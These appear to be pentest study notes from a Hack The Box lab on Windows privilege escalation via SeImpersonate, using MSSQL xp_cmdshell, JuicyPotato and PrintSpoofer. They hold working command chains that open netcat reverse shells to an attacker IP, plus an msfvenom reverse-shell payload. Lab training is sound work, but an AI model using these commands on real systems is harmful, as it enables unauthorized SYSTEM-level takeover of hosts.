SeImpersonate and SeAssignPrimaryToken privilege

Token: every process has a token that has information about the account that is running it and it’s store in memory

we ask token from WinLogon process

Exploit JuicyPotato

Debug programs right

PS C:\Users\Public> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
**SeImpersonatePrivilege**        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Connecting with MSSQLClient.py

irix@htb[/htb]$ mssqlclient.py sql_dev@10.129.43.30 -windows-auth

Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed database context to 'master'.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 19162) 
[!] Press help for extra shell commands
SQL>

Enabling xp_cmdshell

SQL> enable_xp_cmdshell

[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(WINLPE-SRV01\SQLEXPRESS01): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install

Confirming Access

SQL> xp_cmdshell whoami

output                                                                             

--------------------------------------------------------------------------------   

nt service\mssql$sqlexpress01

Checking Account Privileges

SQL> xp_cmdshell whoami /priv

output                                                                             

--------------------------------------------------------------------------------   
                                                                    
PRIVILEGES INFORMATION                                                             

----------------------                                                             
Privilege Name                Description                               State      

============================= ========================================= ========   

**SeAssignPrimaryTokenPrivilege** Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
**SeImpersonatePrivilege**        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

The command whoami /priv confirms that SeImpersonatePrivilege is listed. This privilege can be used to impersonate a privileged account such as NT AUTHORITY\SYSTEM. JuicyPotato can be used to exploit the SeImpersonate or SeAssignPrimaryToken privileges via DCOM/NTLM reflection abuse

Escalating Privileges Using JuicyPotato

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

output                                                                             

--------------------------------------------------------------------------------   

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375                               
                                                                            
[+] authresult 0                                                                   
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM                                                                                                    
[+] CreateProcessWithTokenW OK                                                     
[+] calling 0x000000000088ce08

# l -> refer to port (u can use any port)
# p -> program which run with system token
# a -> argument it will be execute
# which demand from cmd open a reverse shell on attacker machine

Catching SYSTEM Shell

irix@htb[/htb]$ sudo nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt authority\system

C:\Windows\system32>hostname

hostname
WINLPE-SRV01

---

PrintSpoofer and RoguePotato

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access

Escalating Privileges using PrintSpoofer

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

output                                                                             

--------------------------------------------------------------------------------   

[+] Found privilege: SeImpersonatePrivilege                                        

[+] Named pipe listening...                                                        

[+] CreateProcessAsUser() OK                                                       

Catching Reverse Shell as SYSTEM

irix@htb[/htb]$ nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 49847
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
nt authority\system

---

JuicyPotato

we will try to take a reverse shell with System privilege

Create a reverse shell

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.212 lport=1111 > 1.bat

execute shell on windows machine

# dont forget to open listenr on Attacker box
.\JuicyPotato.exe -l 5337 -p C:\Users\Public\1.bat -t * -clisd "{7A6D9C0A-1E7A-41B6-82B4-C3F7A27BA381}"